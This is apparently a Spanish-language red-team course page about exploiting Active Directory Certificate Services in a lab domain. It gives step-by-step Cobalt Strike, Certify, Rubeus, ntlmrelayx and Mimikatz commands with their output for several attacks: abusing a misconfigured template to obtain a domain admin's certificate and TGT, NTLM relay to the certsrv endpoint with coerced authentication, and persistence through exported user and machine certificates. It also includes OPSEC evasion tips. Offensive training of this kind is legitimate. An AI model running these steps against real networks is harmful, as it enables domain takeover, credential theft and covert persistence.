Saltar a contenido

Active Directory Certificate Services

Active Directory Certificate Services

Active Directory Certificate Services (AD CS) es un rol de servidor que te permite construir una infraestructura de clave pública (PKI). Esto puede proporcionar criptografía de clave pública, certificados digitales y capacidades de firma digital. Algunas aplicaciones prácticas incluyen Secure/Multipurpose Internet Mail Extensions (S/MIME), redes inalámbricas seguras, virtual private network (VPN), Internet Protocol security (IPsec), Encrypting File System (EFS), inicio de sesión con smart card y Secure Socket Layer/Transport Layer Security (SSL/TLS).

Una implementación correcta puede mejorar la seguridad de una organización:

  • Confidencialidad mediante cifrado.
  • Integridad mediante firmas digitales.
  • Autenticación al asociar claves de certificado con cuentas de computadoras, usuarios o dispositivos en la red.

Sin embargo, como cualquier tecnología, las configuraciones erróneas pueden introducir riesgos de seguridad que los actores malintencionados pueden explotar, en este caso, para escalamiento de privilegios (incluso de usuario de dominio a administrador de dominio) y persistencia. El contenido encontrado en este módulo se deriva del documento técnico de 143 páginas publicado por Will Schroeder y Lee Christensen. Por razones obvias, el contenido completo no será duplicado aquí; si deseas todos los detalles técnicos, te recomiendo leerlo.


Finding Certificate Authorities

Para encontrar Certificate Authorities (CA's) de AD CS en un dominio o bosque, ejecuta Certify con el parámetro cas.

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe cas

Esto generará mucha información útil, incluyendo la CA raíz y las CA subordinadas:

Enterprise CA Name            : ca
DNS Hostname                  : dc-1.cyberbotic.io
FullName                      : dc-1.cyberbotic.io\ca
Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName              : CN=ca, DC=cyberbotic, DC=io
Cert Thumbprint               : 95AF7043BD6241CEE92E6DC6CB8D22494E396CCF
Cert Serial                   : 17DDB078863F61884B680FE6F59211AD
Cert Start Date               : 8/15/2022 3:42:59 PM
Cert End Date                 : 8/15/2047 3:52:59 PM
Cert Chain                    : CN=ca,DC=cyberbotic,DC=io

Enterprise CA Name            : sub-ca
DNS Hostname                  : dc-2.dev.cyberbotic.io
FullName                      : dc-2.dev.cyberbotic.io\sub-ca
Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName              : CN=sub-ca, DC=dev, DC=cyberbotic, DC=io
Cert Thumbprint               : 697B1C2CD65B2ADC80C3D0CE83A6FB889B0CA08E
Cert Serial                   : 13000000046EF818036CF8C99F000000000004
Cert Start Date               : 8/15/2022 4:06:13 PM
Cert End Date                 : 8/15/2024 4:16:13 PM
Cert Chain                    : CN=ca,DC=cyberbotic,DC=io -> CN=sub-ca,DC=dev,DC=cyberbotic,DC=io

La Cert Chain es útil de notar, ya que nos muestra que "sub-ca" en el dominio DEV es subordinada de "ca" en el dominio CYBER. La salida también listará las plantillas de certificados disponibles en cada CA, así como información sobre qué principales tienen permisos para gestionarlas.


Misconfigured Certificate Templates

Las plantillas de certificados de AD CS son proporcionadas por Microsoft como un punto de partida para distribuir certificados. Están diseñadas para ser duplicadas y configuradas para necesidades específicas. Las configuraciones erróneas dentro de estas plantillas pueden ser explotadas para escalamiento de privilegios.

Certify también puede encontrar plantillas vulnerables.

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe find /vulnerable

Vamos a revisar las partes clave de esta salida.

  1. Esta plantilla es servida por sub-ca.
  2. La plantilla se llama CustomUser.
  3. ENROLLEE_SUPPLIES_SUBJECT está habilitado, lo que permite al solicitante del certificado proporcionar cualquier SAN (subject alternative name).
  4. El uso del certificado tiene configurado Client Authentication.
  5. DEV\Domain Users tienen derechos de inscripción, por lo que cualquier usuario de dominio puede solicitar un certificado desde esta plantilla.

Info

Si un principal bajo tu control tiene WriteOwner, WriteDacl o WriteProperty, entonces esto también podría ser explotado.

Esta configuración permite que cualquier usuario de dominio solicite un certificado para cualquier otro usuario de dominio (incluido un administrador de dominio) y lo use para autenticación. Solicita un certificado para nlamb.

beacon> getuid
[*] You are DEV\bfarmer

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:dc-2.dev.cyberbotic.io\sub-ca /template:CustomUser /altname:nlamb

[*] Action: Request a Certificates
[*] Current user context    : DEV\bfarmer
[*] No subject name specified, using current context as subject.

[*] Template                : CustomUser
[*] Subject                 : CN=Bob Farmer, CN=Users, DC=dev, DC=cyberbotic, DC=io
[*] AltName                 : nlamb

[*] Certificate Authority   : dc-2.dev.cyberbotic.io\sub-ca

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 11

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
[...]
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----

[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Certify completed in 00:00:05.4521116

Copia el certificado completo (tanto la clave privada como el certificado) y guárdalo en cert.pem en Ubuntu WSL. Luego utiliza el comando openssl proporcionado para convertirlo a formato pfx.

ubuntu@DESKTOP-3BSK7NO ~> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password: pass123
Verifying - Enter Export Password: pass123

Convierte cert.pfx en una cadena codificada en base64 para que pueda ser utilizada con Rubeus.

ubuntu@DESKTOP-3BSK7NO ~> cat cert.pfx | base64 -w 0
MIIM7w[...]ECAggA

Luego usa asktgt para solicitar un TGT para el usuario utilizando el certificado.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /certificate:MIIM7w[...]ECAggA /password:pass123 /nowrap

[*] Using PKINIT with etype rc4_hmac and subject: CN=Bob Farmer, CN=Users, DC=dev, DC=cyberbotic, DC=io 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dev.cyberbotic.io\nlamb'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIGQj[...]5pbw==

  ServiceName              :  krbtgt/dev.cyberbotic.io
  ServiceRealm             :  DEV.CYBERBOTIC.IO
  UserName                 :  nlamb
  UserRealm                :  DEV.CYBERBOTIC.IO
  StartTime                :  9/7/2022 8:51:22 AM
  EndTime                  :  9/7/2022 6:51:22 PM
  RenewTill                :  9/14/2022 8:51:22 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  AliVFc5Nk93Z7IUkweCnBQ==
  ASREP (key)              :  4DB9D9D76701696109C28A26D27DE0B0

Vulnerable User Template Demo


NTLM Relaying to ADCS HTTP Endpoints

Los servicios de AD CS admiten métodos de inscripción HTTP e incluso incluyen una interfaz gráfica (GUI). Este endpoint suele encontrarse en http[s]://<hostname>/certsrv.

Si la autenticación NTLM está habilitada, estos endpoints son vulnerables a ataques de relay NTLM. Un método de abuso común es forzar a un controlador de dominio a autenticarse en una ubicación controlada por el atacante, reenviar la solicitud a un CA para obtener un certificado para ese DC, y luego usarlo para obtener un TGT.

Un aspecto importante a tener en cuenta es que no se puede reenviar la autenticación NTLM de vuelta a la máquina de origen. Por lo tanto, no podríamos reenviar un DC a un CA si esos servicios estuvieran ejecutándose en la misma máquina. Este es precisamente el caso en el laboratorio RTO, ya que cada CA se ejecuta en un DC.

Otra buena manera de abusar de esta técnica es obteniendo acceso a una máquina configurada para delegación sin restricciones.

Info

Ya tenemos acceso a WEB como jking, pero esta es otra manera de lograr el mismo objetivo.

Para lograr esto, necesitamos:

  • PortBender en Workstation 2 para capturar tráfico en el puerto 445 y redirigirlo al puerto 8445.
  • Un reverse port forward para reenviar el tráfico que llegue al puerto 8445 al servidor del equipo en el puerto 445.
  • Un proxy SOCKS para que ntlmrelayx envíe el tráfico de regreso a la red.

El comando ntlmrelayx debe apuntar a la página certfnsh.asp en el servidor ADCS.

attacker@ubuntu ~> sudo proxychains ntlmrelayx.py -t https://10.10.122.10/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

[*] Protocol Client SMTP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections

Luego, forzar la autenticación desde WEB hacia WKSTN-2.

beacon> execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe 10.10.122.30 10.10.123.102
[*] Servers started, waiting for connections
[*] SMBD-Thread-4: Received connection from 127.0.0.1, attacking target https://10.10.122.10
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.122.10:443-<><>-OK
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against https://10.10.122.10 as DEV/WEB$ SUCCEED
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 13
[*] Base64 certificate of user WEB$:MIIRRQ[...]qDRJLE

El truco S4U2Self se puede utilizar para obtener TGS utilizables y moverse lateralmente.


User & Computer Persistence

Los certificados también pueden ser útiles para mantener acceso persistente tanto a usuarios como a computadoras, ya que tienden a tener una vida útil más larga en comparación con las contraseñas. Por ejemplo, los certificados de usuario son válidos por un año completo de manera predeterminada, independientemente de los cambios de contraseña.

CA Name             : dc-2.dev.cyberbotic.io\sub-ca
Template Name       : User
Schema Version      : 1
Validity Period     : 1 year

Los certificados solo se vuelven inválidos si son revocados por el CA (o expiran). Esto tampoco depende de ninguna plantilla vulnerable. Podemos extraer certificados que ya han sido emitidos o simplemente solicitar nuevos.

User Persistence

Los certificados de usuario que ya han sido emitidos se pueden encontrar en el almacén de certificados personales del usuario.

Si tenemos un Beacon ejecutándose en su máquina, podemos enumerar sus certificados con Seatbelt.

beacon> getuid
[*] You are DEV\nlamb

beacon> run hostname
wkstn-1

beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe Certificates

  StoreLocation      : CurrentUser
  Issuer             : CN=sub-ca, DC=dev, DC=cyberbotic, DC=io
  Subject            : E=nlamb@cyberbotic.io, CN=Nina Lamb, CN=Users, DC=dev, DC=cyberbotic, DC=io
  ValidDate          : 9/7/2022 11:44:35 AM
  ExpiryDate         : 9/7/2023 11:44:35 AM
  HasPrivateKey      : True
  KeyExportable      : True
  Thumbprint         : 43FA3C3AE4E1212A3F888937745C2E2F55BAC1B5
  Template           : User
  EnhancedKeyUsages  :
       Encrypting File System
       Secure Email
       Client Authentication     [!] Certificate is used for client authentication!

Info

Asegúrate siempre de que el certificado se utilice para la autenticación del cliente.

Los certificados pueden exportarse con Mimikatz utilizando crypto::certificates (aunque los guarda en disco).

beacon> mimikatz crypto::certificates /export

    Public export  : OK - 'CURRENT_USER_My_0_Nina Lamb.der'
    Private export : OK - 'CURRENT_USER_My_0_Nina Lamb.pfx'

beacon> download CURRENT_USER_My_0_Nina Lamb.pfx
[*] started download of C:\Users\nlamb\CURRENT_USER_My_0_Nina Lamb.pfx (3454 bytes)
[*] download of CURRENT_USER_My_0_Nina Lamb.pfx is complete

Info

Ve a View > Downloads para sincronizar archivos desde Cobalt Strike a tu máquina local.

Codifica el archivo pfx en Base64.

ubuntu@DESKTOP-3BSK7NO ~> cat /mnt/c/Users/Attacker/Desktop/CURRENT_USER_My_0_Nina\ Lamb.pfx | base64 -w 0

Luego úsalo con Rubeus para obtener un TGT. La contraseña de exportación será mimikatz.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /certificate:MIINeg[...]IH0A== /password:mimikatz /nowrap

[*] Using PKINIT with etype rc4_hmac and subject: E=nlamb@cyberbotic.io, CN=Nina Lamb, CN=Users, DC=dev, DC=cyberbotic, DC=io 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dev.cyberbotic.io\nlamb'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIGQj[...]5pbw==

  ServiceName              :  krbtgt/dev.cyberbotic.io
  ServiceRealm             :  DEV.CYBERBOTIC.IO
  UserName                 :  nlamb
  UserRealm                :  DEV.CYBERBOTIC.IO
  StartTime                :  9/7/2022 12:28:51 PM
  EndTime                  :  9/7/2022 10:28:51 PM
  RenewTill                :  9/14/2022 12:28:51 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  Cptkd+BVLZ8+NS11BQQ6Zg==
  ASREP (key)              :  79C05DC0CC7909DF6448F1B24FAFBD71

OPSEC

Notarás que esto solicitará tickets RC4 por defecto. Puedes forzar el uso de AES256 incluyendo el parámetro /enctype:aes256.

Info

Si el usuario no tiene un certificado en su almacén, simplemente podemos solicitar uno con Certify.

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:dc-2.dev.cyberbotic.io\sub-ca /template:User

Computer Persistence

Lo mismo se puede aplicar a las cuentas de computadoras, pero debemos elevar privilegios para extraer esos certificados.

beacon> mimikatz !crypto::certificates /systemstore:local_machine /export

    Public export  : OK - 'local_machine_My_0_wkstn-1.dev.cyberbotic.io.der'
    Private export : OK - 'local_machine_My_0_wkstn-1.dev.cyberbotic.io.pfx'
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:WKSTN-1$ /enctype:aes256 /certificate:MIINCA[...]IH0A== /password:mimikatz /nowrap

[*] Action: Ask TGT

[*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=wkstn-1.dev.cyberbotic.io 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dev.cyberbotic.io\WKSTN-1$'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIGYD[...]5pbw==

  ServiceName              :  krbtgt/dev.cyberbotic.io
  ServiceRealm             :  DEV.CYBERBOTIC.IO
  UserName                 :  WKSTN-1$
  UserRealm                :  DEV.CYBERBOTIC.IO
  StartTime                :  9/7/2022 12:06:02 PM
  EndTime                  :  9/7/2022 10:06:02 PM
  RenewTill                :  9/14/2022 12:06:02 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  6DV6vQB5lRoCz84qmRqt0X6UdIzzdQiX+y0IwwDrHlc=
  ASREP (key)              :  C1B715AF5F9B5468EB5FA8ADDA0E02EE2D7548F439DEA5A5D9B4F7DFA6482BDF

Info

Si se solicita un certificado de máquina con Certify, se requiere el parámetro /machine para auto-elevar a SYSTEM y asumir la identidad de la cuenta de computadora.

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:dc-2.dev.cyberbotic.io\sub-ca /template:Machine /machine